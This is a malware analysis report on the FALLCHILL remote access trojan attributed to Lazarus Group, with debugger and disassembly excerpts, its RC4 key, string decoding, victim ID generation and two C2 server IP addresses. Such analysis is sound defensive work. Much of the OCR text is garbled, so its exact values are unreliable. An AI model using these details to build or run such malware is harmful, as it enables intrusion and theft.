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EXECUTIVE SUMMARY

FALLCHILL is a RAT that has been used by Lazarus Group since 2016. The malware decrypts multiple
strings at runtime using the XOR algorithm and the RC4 hard-coded key “0D 06 09 2A 86 48 86 F7 OD 01
01 01 05 00 03 82”. It implements a custom algorithm that is used to decode multiple DLL names and
export functions, which will be imported at runtime. The process collects the following data from the
machine and generates a victim ID: OS version information, MAC address, host name, host IP address. The
following IP addresses represent the C2 servers, which will instruct the malware on what command to
perform: 175.100.189.174 and 125.212.132.222. The diagram presented below presents all the

functionalities implemented by this RAT.

FALLCHILL DIAGRAM

traverse a directory received from the C2
server and send the files name to the server

create and populate a new file and move it
to a newly generated file

execute a Windows command and send the
output to the C2 server

connect to a specific IP on a port received
from the C2 server

encrypt the C2 IP addresses using the XOR
operator and send the result to the C2
server

move an existing directory provided by the
C2 server to the Desktop directory

traverse an existing directory or extract the
drive type and the amount of free space on
the disk

extract the current directory name and
send it to the C2 server

set the current directory for the current
process to a value provided by the C2
server

delete a registry value used for persistence
and all artifacts associated with the
malware on the system
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enumerate the processes and the modules
of the current process. Extract the process
creation time, the exit time of the process,
the amount of time that the process has
executed in user/kernel mode

kill a specific process obtained from the C2
server

create a specific process obtained from the
C2 server

create a process obtained from the C2
server with a specific token

send 4 encrypted bytes to the C2 server

create and populate a new file and perform
timestomping

read file content, extract file times and
exfiltrate them to the C2 server

open file, extract file times and create a
new file and modify its file times

convert the system time to a calendar value
and write it into memory

convert the system time to a calendar value
and write it into memory (different function
from above)
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ANALYSIS AND FINDINGS

SHA256:a606716355035d4alealb15f3bee30aad41a2c32df28c2d468eafd18361d60d6

The malware writes multiple RC4 and XOR encrypted strings to the memory. One such example is shown

in figure 1:
.text:0040501D mov al, 73R 3. q-
.text:0040501F mov [esp+48h+var_44], @Bh
.text:00405024 mov [esp+48h+var_F], al
.text:00405028 mov [esp+48h+var_C], al
.text:0048502C mov - e o 1 e L
.text:0040502E mov [esp+48h+var_43], @FBh ; 'O
.text:00405833 test esi, esi
.text:00405035 mov [esp+48h+var_42], 3Eh ; '>'
.text:0040503A mov [esp+48h+var_41], @B7h ;
.text:0048503F mov [esp+48h+var_40], @Cs8h ; 'E'
.text:00405044 mov [esp+48h+var_3F], @BFh ; ;'
.text:00405049 mov [esp+48h+var_3E], 94h ; '’
.text:0040504E mov [esp+48h+var_3D], @E2h ; '&’
.text:00405053 mov [esp+48h+var_3B], 6
.text:00405858 mov [esp+48h+var_3A], @DAh ; 'U’
.text:0040505D mov [esp+48h+var_39], 1Eh
.text:80405062 mov [esp+48h+var_38], 88h ; '~
.text:00405867 mov [esp+48h+var_37], 14h
.text:0040506C mov [esp+48h+var_36], @Fh
.text:00405071 mov [esp+48h+var_35], 74h ; 't
.text:00405076 mov [esp+48h+var_34], 83h ; 'F'
.text:00485078 mov [esp+48h+var_33], 8Eh ; 'Z°
.text:00405080 mov [esp+48h+var_32], 52h ; 'R’
.text:00405085 mov [esp+48h+var_31], 9A7h & ey
.text:0048508A mov [esp+48h+var_3@], eD4h ; 'O’
.text:0040508F mov [esp+48h+var_2F], 19h
.text:00405094 mov [esp+48h+var_2E], 8Bh ; "<
.text:00405099 mov [esp+48h+var_2D], 96h ; '-'
.text:0040509E mov [esp+48h+var_2B], 6Dh ; 'm’
.text:004050A3 mov [esp+48h+var_2A], @F3h ; '4'
.text:004050A8 mov [esp+48h+var_29], 97h ; '-'
.text:004050AD mov [esp+48h+var_28], 2Eh ; '.'
.text:004050B2 mov [esp+48h+var_27], 23h ; '#'
.text:004050B7 mov [esp+48h+var_26], @A2h ; '¢'
.text:004050BC mov [esp+48h+var_25], dl
.text:004050C0 mov [esp+48h+var_24], 92h ; '’
.text:004056C5 mov [esp+48h+var_23], @B8h ; ' '
.text:004850CA mov [esp+48h+var_22], 7Ch ; '|°
.text:004056CF mov [esp+48h+var_21], 8Dh
.text:004850D4 mov [esp+48h+var_1F], @Cih ; 'A’
.text:004056D9 mov [esp+48h+var_1D], @FFh
.text:004050DE mov [esp+48h+var_1C], 9%h ; '™’
.text:004050E3 mov [esp+48h+var_1B], 21h ; "!’
.text:004050E8 mov [esp+48h+var_1A], 6Eh ; 'n’

Figure 1
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The hard-coded RC4 key “0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82" is used to decrypt multiple
strings at runtime:

.text:08402EB@ mov cl, ebh

.text:00482EB2 mov al, 86h ; 't°'
.text:00402EB4 mov [esp+1Ch+var_1@], cl
.text:00402EB8 mov [esp+1Ch+var_C], al
.text:00402EBC mov [esp+1Ch+var_A], al
.text:00402EC@ mov [esp+1Ch+var_8], cl
.text:88402EC4 mov ecx, 1

.text:00402EC9 lea eax, [ebp-1]
.text:ee402ECC cmp eax, ecx

.text:00402ECE mov [esp+1Ch+var_F], 6
.text:00482ED3 mov [esp+1Ch+var_E], 9
.text:00402ED8 mov [esp+1Ch+var_D], 2Ah ; '*'
.text:00482EDD mov [esp+1Ch+var_B], 48h ; 'H'
.text:00402EE2 mov [esp+1Ch+var_9], @F7h ; '+’
.text:00482EE7 mov [esp+1Ch+var_7], cl
.text:00402EEB mov [esp+1Ch+var_6], cl
.text:00482EEF mov [esp+1iCh+var_5], cl
.text:00402EF3 mov [esp+1Ch+var_4], 5
.text:00482EF8 mov [esp+1Ch+var_3], @
.text:00402EFD mov [esp+1Ch+var_2], 3
.text:00482F02 mov [esp+1Ch+var_1], 82h ; ',

Figure 2

There is a custom implementation of the RC4 algorithm provided by the sample, as shown below:
=

.text:00408302E
.text:0040302E loc_40302E:

.text:0040302E mov eax, [esi+4]
.text:08403031 xor ecx, ecx
.text:004083033 mov dl, [eax+1@@h]
.text:00403039 inc dl
.text:0040303B mov [eax+1@0h], dl
.text:00403041 mov eax, [esi+4]
.text:00403044 mov cl, [eax+1@@h]
.text:0040304A mov dl, [ecx+eax]
.text:0040304D mov cl, [eax+1@1h]
.text:08403053 add cldl
.text:00403055 xor edx, edx
.text:00403057 mov [eax+1@1h], cl
.text:0040305D mov eax, [esi+4]
.text:08403060 xor ecx, ecx
.text:00403062 mov cl, [eax+1@1h]
.text:00403068 mov dl, [eax+1@@h]
.text:0840306E add ecx, eax
.text:0840307@ add edx, eax

.text:00483072 push ecx
.text:00403073 push edx

.text:00403074 mov ecx, esi
.text:00403076 call sub_402E80
.text:00403078 mov eax, [esi+4]
.text:0040307E xor ecx, ecx
.text:00403080 xor edx, edx
.text:00403082 mov cl, [eax+1@1h]
.text:00403088 mov dl, [eax+1@@h]
.text:0040308E mov cl, [ecx+eax]
.text:004083091 add cl, [edx+eax]
.text:00403094 and ecx, @FFh
.text:0040309A mov dl, [ecx+eax]
.text:0040309D mov al, [ebx+edi]
.text:084030A0 xor dl, al
.text:004830A2 mov [edi], d1
.text:084030A4 inc edi
.text:004030A5 dec ebp
.text:004030A6 jnz short loc_40302E

Figure 3
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An example of a string decrypted using a XOR operation, and the RC4 aIgorlthm is dlsplayed in figure 4:

| Address | Hex

| AsCII |
0019FEB4 |35 00 6D 00|6B 00 66 OO|4A 00 59 00|37 0O 6B 00|5.m.K.f.J.Y.7.K.
0019FEC4|6A 00 6D 00(48 00 63 00|6A 00 34 00|6A 00 6C 00|j.m.H.c.j.4.3.1.
0019FED4|78 00 47 00|36 00 6A 00|68 00 73 00|64 00 52 00|X.G.6.j.h.s.d.R.
0019FEE4 |54 00 37 00|46 00 61 00|77 00 37 00|66 00 G6A 00|T.7.F.a.w.7.f.J.

Figure 4

The binary uses the SetErrorMode function in order to force the system not to display the critical-error-

handler message box and the Windows Error Reporting dialog (0x3

SEM_NOGPFAULTERRORBOX

6A 03
FF 15 28 00 41 00

):

push 3
call dword ptr ds:[<&seterrorMode>]

= SEM_FAILCRITICALERRORS |

v
Defauilt (stdcal) ~|[5_[2]00 unlodt
esp]

.text:00405167 lazarus.exe:$5167 #5167

dword ptr [00410028 <lazarus.&SetErrorMode>]=<kernel32.SetErrorMode>

esp+8] 00000000
esp+C] 006D0035

1: 00000003

2: [esp+4] 00409B8E <lazarus.EntryPoint>
3

3
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Figure 5

A new thread is created by the malware using the CreateThread API:

61 40 00

0
24 00 41 00

push 0
push 0
push 0
push lazarus.4061B0
push 0

push 0O
€all dword ptr ds:[<&CreateThread>]

x87Statusword 0000
X87SW_B O Xx87SW_C3 0O x87Sw._C2 0O
X87SW_C1 O Xx87SW_CO O Xx87SW_ES 0O

55 Default (stdcall)

.Text:0040517C lazarus.exe:$517C #517C

dword ptr [00410024 <lazarus.&CreateThread>]=<kernel32.CreateThread>

4% Dump 1 @44 Dump 2 @4 Dump 3 @4 Dump 4

@49 Dump 5

@ watch1  Ix-llocals 57 Struct

Address | Hex

0019FEB4|35 00 6D 0OO|6B 00 66 00
0O019FEC4|6A 00 6D 00|48 00 63 00

4A 00 59 00|37 00
6A 00 34 00(6A 00

ASCII
6B 00|5.m.K.T.3.Y.7.K.
6C 00|j.m.H.c.j.4.3.1.

Figure 6
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X87SW_SF O X87SW_P 0 Xx87sSw_U 0
1: [esp;

~ |[s_E] 0 unlock
] 00000000
esp+4] 00000000

2:
3: [esp+8] 004061B0 lazarus.004061B0
4: [esp+C]_ 00000000

0019FE98 00000000
0019FE9SC | 004061B0 | Tazarus.004061B0
0019FEAO

0019FEA4 00000000
0019FEAS8 | 00000000
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THREAD ACTIVITY — START ADDRESS FU

We can use CyberChef (https://gcha.github.io/CyberChef/) to confirm that the algorithm used to decrypt
strings is indeed RC4:

Recipe

S ] Input
a 46 FO CD 89 66 77 23 76 62 A9 E9 C4 92 9C 42 7B B3 @D D5 FS5 57 CD 9D 1D 53 C2
RC4 O n
Passphrase .
0D6092A864836F70D01010105000382 HEX
Input format Output format
Hex Latin1

Output

Address | Hex

K.e.r.n.e.1.3.2...d.1.1...

|AscIz
028FFC+4 (48 006E 0O[72 0D GE COTES 00 €€ 00[33.00 32 00| K.e.roh e 1.3.2;
028FFC54 | 2E 00 64 00/6C 00 6C 0000 00 14 40(47 B7 7A F:

@620

Figure 7

The LoadLibraryW routine is utilized to load multiple DLLs into the address space

52 push edx B I -
FF 15 00 00 41 00 €all dword ptr ds:[<&LoadLibraryw>] v —
3 E;efault (stdcacl’l)zaFF‘:‘4 & @D Unlo
= = es
dword ptr [00410000 <lazarus.&LoadLibraryw>]=<kernel32.LoadLibraryw> 2t esgL] 00406180 lazarus.004061B0
3: [esp+8] 028FFF94
4: [esp+C] 00650048
.Text:00401AD1 Tazarus.exe:$1AD1 #1AD1 :
2 028FFC44
@Woump1  Y4pump2  @pump3  @hoump4  Woumps @ watch1  Ix-llocals ) Struct 00406180 | 1azarus. 00406180
Address | Hex | AscII | 0 832:3;3;
028FFC44(4B 00 65 00|72 00 6E 00|65 00 6C 00|33 00 32 00|K.e.r.n.e.1.3.2. 006E0072
028FFC54 [2E 00 64 00|6C 00 6C 00[00 00 14 40|47 00 65 00|aad.d.d....RG.e. REr R

Figure 8

The executable retrieves the address of multiple exported functions by calling the GetProcAddress function

50 push eax
push es

56
FF 15 04 00 41 00

3
ca“ dword ptr dsi[<metf'rocAddress>]

‘ X87SW_SF O X87SW_P

0 X87s5wW_U

0
v
L tiefaut (sw-7||)“ B — ~ |[5 2] unlocke
s [es| 60000 kerne 60000

dword ptr [00410004 <lazarus.&GetProcAddress>]=<kernel32.GetProcAddress> 2: 55314] 028FFD80
3: [esp+8] 004061B0 lazarus.004061B0
4: [esp+C] 004061B0 lazarus.004061B0

.Text:00401AEB lazarus.exe: $1AEB #1AEB

@9pump1  Ypump2  @YDump3 @4 Dump 4

Woumps @ watch 1
’Addrss Hex

[x=] Locals

2 struct

[AscII
028FFD80|47 65 74 50(72 6F 63 41[64 64 72 65|73 73 00 00| GetProcAddress..

kernel32.76A60000

004061B0 | Tazarus. 00406180
1 .

Figure 9
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A simple encoding algorithm that consists of subtracting a hex number from 0xDB is implemented by the
file (the decryption algorithm is implemented in Python and presented in the appendix):

.text:80401C26 push offset aFrmwfrihgfrovw ; "FrmwFrihgFrovi"
.text:80401C2B rep stosd

.text:88401C2D stosw

.text:00401C2F lea ecx, [esp+16@h+ProcName]

.text:88401C33 push 1eeh

.text:80401C38 push ecx

.text:8@401C39 stosb

.text:80401C3A call sub_401830

.text:80401C3F mov cl, [esp+15Ch+ProcName]
.text:80401C43 lea eax, [esp+15Ch+ProcName]
.text:00401C47 test cly cl
.text:00401C49 jz short loc_401C65
|
= L2 ]
M
.text:00401C4B
.text:80401C48 loc_401C4B:
.text:00401C4B mov cl, [eax]
.text:80401C4D cmp cl, 62h 5 "b’
.text:00401C50 jl short loc_401CSD
e
ol s =
.text:00401C52 cmp cl, 7%h ; 'y’
.text:00401C55 jg short loc_401CSD
ol s =
.text:80401C57 mov dl, epsh ; '0'
.text:00401C59 sub dl, cl
.text:88401C5B mov [eax], dl
P —
.text:00401C5D
.text:88481C5D loc_401CSD:
.text:00401C5D mov cl, [eax+1]
.text:00401C60@ inc eax
.text:00401C61 test cl, cl
.text:00401C63 jnz short loc_401C4B

Address | Hex ASCIT |
028FFC80| 46 69 6E 64]46 69 72 73|74 46 69 6C|65 57 00 00| FindFirstFilew.. |

Figure 10

The following DLLs are also loaded by the malicious process: wtsapi32.dll, Advapi32.dll, ws2_32.dll and
iphlpapi.dll. The process decrypts the following function names and gets the address of them via a
GetProcAddress function call:

e Module32FirstW, WinExec, FindFirstFileW, LocalAlloc, CreateThread, ReadFile, GetFileSize,
GetExitCodeProcess, CloseHandle, GetTempFileNameW, Process32FirstW, DeleteFileW, LoadLibraryW,
GetExitCodeThread, GetFileTime, TerminateThread, LocalFree, WaitForSingleObject,
WaitForMultipleObjects, GetModuleFileNameW, WriteFile, Process32NextW, Sleep, MapViewOfFile,
ReadProcessMemory, SetFilePointer, CreateToolhelp32Snapshot, GetTempPathW, CreateProcessW,
GetFileAttributesW, GetLocalTime, GetSystemDirectoryW, GetVolumelnformationW,
GetCurrentProcess, UnmapViewOfFile, GetVersionExW, SetFileTime, GetLogicalDrives,
GetCurrentDirectoryW, SetCurrentDirectoryW, OpenProcess, CreateFileW, TerminateProcess,
FreeLibrary, VirtualProtectEx, WriteProcessMemory, GetComputerNameW, FindNextFilew,
GetModuleHandleW, MoveFileExW, FindClose, CreateFileMappingW, VirtualQueryEx, GetDriveTypeW,
GetDiskFreeSpaceExW, GetlLastError, SetLastError, VirtualAllocEx, CreateRemoteThread,
FindResourceW, LoadResource, LockResource, GetTickCount

e  WTSQueryUserToken, WTSEnumerateSessionsW

e OpenProcessToken, RegOpenKeyW, ControlService, SetServiceStatus, CloseServiceHandle,
AdjustTokenPrivileges, LookupPrivilegeValueW, GetTokenInformation, LookupAccountSidWw,
OpenServiceW, RegDeleteKeyW, DeleteService, RegDeleteValueW, ChangeServiceConfig2W,
OpenSCManagerW, CreateServiceW, StartServiceW, RegSetValueExW, RegCloseKey,
RegisterServiceCtrIHandlerW, RegCreateKeyW, RegOpenKeyExW, RegQueryValueExW,
GetUserNameW, CreateProcessAsUserW
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e WSACleanup, recv, setsockopt, WSAStartup, listen, shutdown, gethostbyname, getpeername, accept,

ioctlsocket, connect, closesocket, socket, htons, select, send

e GetAdaptersInfo

, _ WSAFDIsSet, bind, inet_addr

The malicious executable initiates the usage of Winsock DLL using the WSAStartup routine:

50 push eax

68 02 02 00 00 push 202

89 2D 20 57 41 00 mov_dword ptr ds:[415720],ebp

FF 15 BC 52 41 00 ca'l'| mord ptr ds [«MSAStartup;-]

X87SW_C1 O x87SW_CO O Xx87SW_ES O

I
v
Default (stdcall)

dword ptr [004152BC <lazarus.&WSAStartup>]=<ws2_32.WSAStartup>

.text:00406235 lazarus.exe:$6235 #6235

X87SW_SF 0 X87SW_P 0O X87SW_U 0

R4 EID Unloc
: [esp] 00000202
: [esp+4] 028FFDF4

: [esp+8] 004061B0 lazarus.004061B0

B

©% Dump 1 84 Dump 2 4% Dump 3 4% Dump 4 4% Dump 5 @ watch 1 [x=] Locals :" Struct

Figure 11

esp+C] 028FFF94
Woz
028FFD94 | 028FFDF4

The file tries to open a registry key that doesn't exist on our machine.

According to an article published by US-CERT at

https://us-cert.cisa.gov/sites/default/files/publications/MAR-10135536-A WHITE S508C.pdf, the

data

stored in this key is RC4 encrypted, and XOR encoded (0x80000002 =

0x20019 = KEY_READ):

50 push eax

68 19 00 02 00 push 20019
8D 4C 24 3C lea ecx,dword ptr ss:[fesp+3C]
6A 00 push 0

51 push ecx
68 02 00 00 80 push 80000002
FF 15 90 53 41 00 ca'l‘l Mrd ptr ds: [<@RegOpenKeyExXw>]

HKEY_LOCAL_MACHINE and

x87Statusword 0000

X87SW_B O x87SW_C3 0 x87sw_C2 O
X87SW_C1 O x87SW_CO O Xx87SW_ES 0O
X87SW_SF O X87SW_P 0 X87SW_U o

& @D Unlodl

Default (stdcall)

dword ptr [00415390 <lazarus.&RegOpenKeyExw>]=<advapi32.RegOpenkeyExw>

.Text:00406A3C lazarus.exe:$6A3C #6A3C

1: [esp] 80000002
2: [esp+4] 028FFCBC
3: [esp+8] 00000000
4: [esp+C] 00020019

028FFD1C

67 94 86 FC|64 45 8F 02 Qe - 0dE. 2 hEV. . p.

Figure 12

77012F58
RFEAARCIE

ntd11.77012F58

3 8i
Woump1 @Ypump2  @oump3  @HDump4  WYpumps @ watch1  [x=lLlocals £ Struct 028FFC78
Address | Hex ASCII ~ ggg;:g;co 000200:
028FFCBC |64 94 5D D4|B2 C5 EC 9A|EA 43 A7 63(BO 2C 39 42|d. ]O'A‘l K§C 498 028FFC84
028FFCCC |83 8E 63 96|E9 24 BO AD|8D 4F 86 E2|43 4E CA 64|..C.&$°,.0.acNEd - A1 =0 ADGTE0
028FFCDC |F2 D8 2F DE|2E CD 2B F6|96 2E 4E 66|F6 3F BC A9 Oﬂ/ﬂ 11-0 Nfo'me (i
028FFCEC |F7 1F B3 E1[4E 33 B6 39|2D 14 9B 06|B8 E7 6A BS|=.®aN3y9 . _GJH
028FFCFC |43 70 7F CD|7B FF 87 21|B7 2A 20 A1|4E E9 63 C6|Cp.I{y.!-* iNecs
028FFDOC | 6F 17 95 48|0E 50 A5 B8|BE 8C A4 3B|AA F1 64 A4|0..H.P¥ %.H;2Adx

20 00 70 02

The major/minor version and the build number of the operating system are extracted via a GetVersionExW

API call, as highlighted below:

push eax R
ca]'l dnord ptr ds: [<&GetversionExw>]

50
FF 15 C4 52 41 00

dword ptr [004152C4 <lazarus.&GetVersionExw>]=<kernel32.GetVersionExw>

.text: 00405677 lazarus.exe:$5677 #5677

5 |[Defaut (stcal) v (s 2] unloc
1: [esp] 028FFC74
2: [esp+4] 004061B0 lazarus.004061B0
3: [esp+8] 00000007
4: [esp+C] 0000011C

Address | Hex - S0 3

P TP P T R
028FFC74 [4€ 01 00 00][06 00 00 00|02 00 00 0O|FD 23 00 00| a.-
028FFC84 00 00 00 00|00 00 00 00|00 00 00 00

Figure 13
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The GetAdaptersInfo routine is used to retrieve adapter information for the local machine. The binary
extracts the hardware address (MAC) from the result and stores it in a separate buffer:

51 push ecx l X87SW_SF 0 X87SW_P 0 X87SW_U 0

53 push ebx -, Sl s,

FF 15 FC 52 41 00 call dword ptr ds:[<&GetAdaptersInfo>] v

ansh te i s’ | Defaut stdca) v ([ [2] 0 unec

1: [esp] 02710708

dword ptr [004152FC <lazarus.&GetAdaptersInfo>]=<iphlpapi.GetAdaptersInfo>

.text: 00406628 lazarus.exe:$6628 #6628

2: [esp+4] 028FFD84
3: [esp+8] 00000000
4: [esp+C] 00000280

§% Dump 1

) 027107D8
Woump2  Woump3  WHoumps  Woumps @ watchi  eelloals /) Stuct 028FFD7C | 028FFD84

Figure 14

The NetBIOS name of the computer is extracted using GetComputerNameW:

51 push ecx Avr i 5 (LmpLyy  Avim_s 5 ympyy
89 44 24 11 mov dword ptr ss:|fesp+11],eax X87TW_6 3 (Empty)  x87Tw_7 3 (Empty)
52 push edx
89 44 24 19 mov dword pt 190, eax x87statusword 0000
C6 44 24 10 00 mov byte ptr p-n] X87SW_B 0O Xx87SW_C3 0 Xx87sw.C2 O
66 89 44 24 1D mov word ptr esp iD],ax X87SW_C1 0 X87SW_CO 0O XB87SW_ES O
C7 44 24 0C 20 00 00 00 mov dword pt Eesp+cl}, 20 2 X87SW_SF 0 X87SW_P 0 X87SW_U 0O
88 44 24 1F mov_byte ptr esp+1Fj,al
FF 15 34 52 41 00 ca‘l'l ddord ptr ds [<&GetcomputerNamew>] v
T 5 | Default (stdcal) ~ |[s_[2]0J unloc
1: [es| 028FFD70
dword ptr [00415234 <lazarus.&GetComputerNamew>]=<kernel32.GetComputerNamew> 2: esglﬂ 028FFD5C
3: [esp+8] 004061B0 lazarus.004061B0
4: [esp+C] 00000020
.Text:004065A8 lazarus.exe: $65A8 #65A8
2 028FFD70
WWoump1  @4pump2 @HDump3  WWoump4  @Wpumps @ watch1  Ix-llocals ¥ Struct M“FFD“IONFFMJ

Figure 15

The private IP address of the host along with other information is extracted using the gethostbyname

function:

I
¥ | Defauit (stdcal) ~|[s [2]00 unlod

push eax
ca'l'l dword ptr ds: [<@gethostbyname>]

50
FF 15 84 53 41 00

dword ptr [00415384 <lazarus.&get t J=<ws2_32.gethostbyname>

.text:004065D2 lazarus.exe:$65D2 #65D2

1: [esp] 028FFD60

2: [esp+4] 004061B0 lazarus.004061B0
3: [esp+8] 0000000F

4: [esp+C] 4B534544

ok ... .. . O . s, D 028FFD60 |

Figure 16

The following buffer contains the IP address extracted earlier, the host name, and different information
about the operating system extracted above:

| Address | Hex | ASCII |
0041561C | DO
0041562C | 44
0041563C | 32
0041564C | 00
0041565C | 00
0041566C | 02
0041567C | 00

Figure 17
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The executable generates a unique ID based on a GetTickCount function call and the MAC address. The
algorithm utilized to obtain the ID is custom and consists of a lot of operations (a snippet of it is displayed
below):

IAddress ‘Hex | ASCII
028FFCEC 2D 00 03 00 00 00)..)%f.-. n.H....

.text:8e4837BE xor ebx, ebp
.text:004837C0 mov [esp+@B4h+var_408], edi
.text:084037C4 and ebx, edx
.text:004037C6 mov edx, [ecx+@Ch]
.text:084037C9 mov edi, esi
.text:804837CB xor ebx, edx
.text:884037CD mov edx, [esp+@B4h+var_4@]
.text:804837D1 rol edi, 5
.text:004037D4 add ebx, edi
.text:804837D6 add ebx, edx
.text:004037D8 mov edx, [ecx+1@h]
.text:0040837DB lea edi, [edx+ebx+5A827999h]
.text:804837E2 mov ebx, [eax+4]
.text:884037E5 mov edx, [ecx+4]
.text:804837E8 mov [esp+@B4h+var_3C], ebx
.text:804837EC rol edx, 1Eh
.text:8004037EF mov ebx, ebp
.text:004037F1 mov [esp+@B4h+var_A@], edi
.text:804837F5 xor ebx, edx
.text:804037F7 and ebx, esi
.text:8004037F9 rol edi, 5
.text:0840837FC xor ebx, ebp
.text:804837FE add ebx, edi
.text:00403800 mov edi, [esp+@B4h+var_3C]
.text:00403804 add ebx, edi
.text:00403806 mov edi, [ecx+@8Ch]
.text:004083809 rol esi, 1Eh
.text:8048380C lea edi, [edi+ebx+5A827999h]
.text:00403813 mov ebx, [eax+8]
.text:804083816 mov [esp+@B4h+var_38], ebx
.text:80040381A mov ebx, edi
.text:80408381C rol ebx, 5
.text:0040381F mov [esp+@B4h+var_A4], ebx

Figure 18

The corresponding ID of our machine is highlighted in figure 19:

| Address | Hex | ASCII

00415688 |37 00 39 00|37 00 33 00|33 00 33 00|30 00 33 oo|7 9.7.3 .3.3.0.3.

00415698|35 00 38 00/31 00 34 00/33 00 33 00/00 00 00 00/5.8.1.4.3.3.....
Figure 19

Two C2 servers and the port number have been decrypted by the process:

Address | Hex ASCII

028FFCEC |34 00 34 00/332 00 00 00/95 65 F4 7DIS0 27 58 2E[4.4,3,...801P"'X,
Address | Hex ASCII

028FFD3C 3% 00 32 00|35 00 2E 00|32 00 31 00|32 00 2E 00|X.2.5...
028FFD4C| 31 00 33 00|32 00 2E 00|32 00 32 00|32 00 00 00]1.3.2...

Address | Hex ASCII

028FFD1C |3 00 37 00|35 00 2E 00|31 00 30 00|30 00 2E 00|2.7.5...1.0.0...
028FFD2C |31 00 38 00|39 00 2E 00|31 00 37 00|34 00 00 00]1.8.9...1.7.4...

Figure 20
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The inet_addr routine is utilized to convert the IP addresses of the C2 servers into proper addresses for

the IN_ADDR structure:

push edx

52
FF 15 14 01 41 00

ca]'l dﬂord ptr ds:[<&inet_addr>]

v
Default (stdcall)

R4 \ED Unlock

dword ptr [00410114 <lazarus.&inet_addr>]=<ws2_32.1inet_addr>

dword ptr [00410114 <lazarus.&inet_addr>]=<ws2_32.inet_addr>

1: [esp] 028FFD5C
2: [esp+4] 00000001
3: [esp+8] 004061B0 lazarus.004061B0
4: [esp+C] 00000007
.Text: 00406084 Tlazarus.exe:$6084 #6084
WWoumpt @Ypump2  @Moump3  @WYDump4  @Mpumps @ watch1i  Ix=lLocals & struct gggggggﬁ
AddressiHex [AScIT 7 004061B0| 1azarus. 00406180
028FFD5C |38 32 35 2E[32 31 32 2E([31 33 32 2E[32 32 32 00|%25.212.132.222. ] = 2222200 R S e Sy
o[ 00406001 50 push eax }
Ea— FF 15 14 01 41 00 call dword ptr ds:[<&inet_addr>]
= e o S
<

v
Default (stdcall)

1% @\:‘ Unlock

1: [esp] 028FFD5C
2: [esp+4] 00000001
3: [esp+8] 004061B0 lazarus.004061B0
4: [esp+C] 00000007
.text:004060D2 Tlazarus.exe:$60D2 #60D2
3 0D28FFD5C
@4 Dump 1 @4 Dump 2 45 Dump 3 @4 Dump 4 @4 Dump 5 @ watch 1 [x=] Locals 2 struct ) - || oooooo01
Address 1Hex TASCII T h” ) ) || 00406180 | Tazarus. 00406180
028FFDSC 32 37 35 2E[31 30 30 2E[31 38 39 2E[31 37 34 00/275.100.189.174. ) 22292221

Figure 21

The sample extracts the valid drives on the system using the GetLogicalDriveStringsW API:

push ebx
68 04 01 00 00 push 104
66 C7 00 00 00 mov word ptr ds:[eax],
FF 15 40 00 41 00 call

.Text:00406B9E lazarus.exe:$6BIE #6BIE

mord ptr ds: [(&GetLomca1Dr1veStr1ngsw>]

dword ptr [00410040 <lazarus.&GetLogicalDrivestringsw>]=<kernel32.GetLogicalDrivestringsw>

X87SW_C1 0
X87SW_SF 0

X87SW_CO O
X87SW_P o

X87SW_ES O
X87SW_U 0

2 E’D Unlo

I
v
Default (stdcall)
1: [esp] 00000104
: [esp+4] 027199A8

esp+8] 00000007
esp+C] 00000000

2:
3:
4:

@4 Dump 1 @4 Dump 2 @4 Dump 3 B4 Dump 4 4% Dump 5 ‘\,%,' Watch 1 [x=] Locals

2 struct

W] 04 |
028FFD30| 027199A8

Figure 22

GetDriveTypeW is used to retrieve the type of the drives extracted above. The drives nhame and their type
are saved to a buffer in the following form ("C 3" and “D 5”):

push ecx X87SW_C1 0 X87SW_CO 0O X87SW_ES O
66 8B 04 7A mov ax,word ptr ds: [edx ed 2] € X87SW_SF 0 X87SW_P 0 X87SW_U 0
66 89 44 24 24 mov nord ptr ss:[lesp+24],a: I
FF 15 3C 00 41 00 call dword ptr ds: [<&GetDr1veTypew>] v 0O
5 | Defaut (stdcal) v |[5 )00 unoc
= = 1: [esp] 028FFD50
dword ptr [0041003C <lazarus.&GetDriveTypew>]=<kernel32.GetDriveTypew> 2: [esp+4] 004061B0O lazarus.004061B0
3: [esp+8] 00000007
4: [esp+C] 00000000
.text:00406BD4 lazarus.exe:$6BD4 #6BD4
5 028FFD50
@Woump1  gpump2  YMDump3  Yyoump4  @pumps @ watch1  Ix-llocals ) Struct 00406180 | 1azarus. 00406180
Address | Hex |AscIz | 4 ggggggg;
028FFD50 |43/ 00 3A 00[2F 00 00 00[00 00 00 00[00 00 00 O0[@.2./cuveenuennn | ey aana| nimesans

Figure 23

A new socket is created by the process (0x2
IPPROTO_TCP):

AF_INET, Ox1

SOCK_STREAM and 0x6

6A 06 push & X87SW_C1 O x87SW_CO O Xx87SW_ES 0
6A 01 push 1 X87SW_SF 0O X87SW_P 0 X87SwW_U o
6A 02 2
FF 15 C8 53 41 00 ca]'l dword ptr ds:[<&socket>] v I D
> Eiefault (sh;-II) - 5 E] Unloc
: [esp] 0000000
dword ptr [004153C8 <lazarus.&socket>]=<ws2_32.socket> 2: [esp+4] 00000001
3: [esp+8] 00000006
4: [esp+C] 00000001
.text:0040107D lazarus.exe:$107D #107D
Woump1  @Hoump2  Yyoump3  @Ypumps  @HDumps @ watch1  [x=llocals g Struct D28FFC34 00000001‘
[address THex lascTr | A || 028FFC38 | 00000006

Figure 24

The malicious file enables the non-blocking mode for the socket using the ioctlsocket routine (0x8004667e

= FIONBIO):
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50 push eax X87SW_C1 O x87SW_CO O X87SW_ES 0O
68 7E 66 04 80 push wu466 X87SW_SF O X87SW_P 0O X87SW.U O
56 push e

FF 15 F4 52 41 00 call Mrd ptr ds:[<&ioctlsocket>]

v
5 Default (stdcall) S \E| [ unloc
1: [esp] 0000011C
2: [esp+4] 8004667E
3: [esp+8] 028FFC40
4: [esp+C] 00000001

dword ptr [004152F4 <lazarus.&ioctlsocket>]=<ws2_32.ioctlsocket>

.text:004010A1 lazarus.exe: $10A1 #10A1

0000011C
8004667E
028FFC40
00000001

@4 Dump 1 @4 Dump 2 @4 Dump 3 @4 Dump 4 @4 Dump 5 B8 watch 1 [x=] Locals ;’) Struct

%‘g:xoo 00 00[62 00 00 40[00 00 00 0O[00 00 00 ool\?.s?.li..@ ........ I\
Figure 25
A new connection to 175.100.189.174 on port 443 is established by the process (if it's unsuccessful, it tries

to connect to 125.212.132.222). It's important to mention that the network connections are simulated
using FakeNet (https://github.com/fireeye/flare-fakenet-ng):

i GA 10 push 10° g Z B X87SW_C1 0 X87SW_CO 0 X87SW_ES 0
gl 51 push ecx XB7SH_SF 0 X87SWP 0 X87SHU 0
il 56 push esi
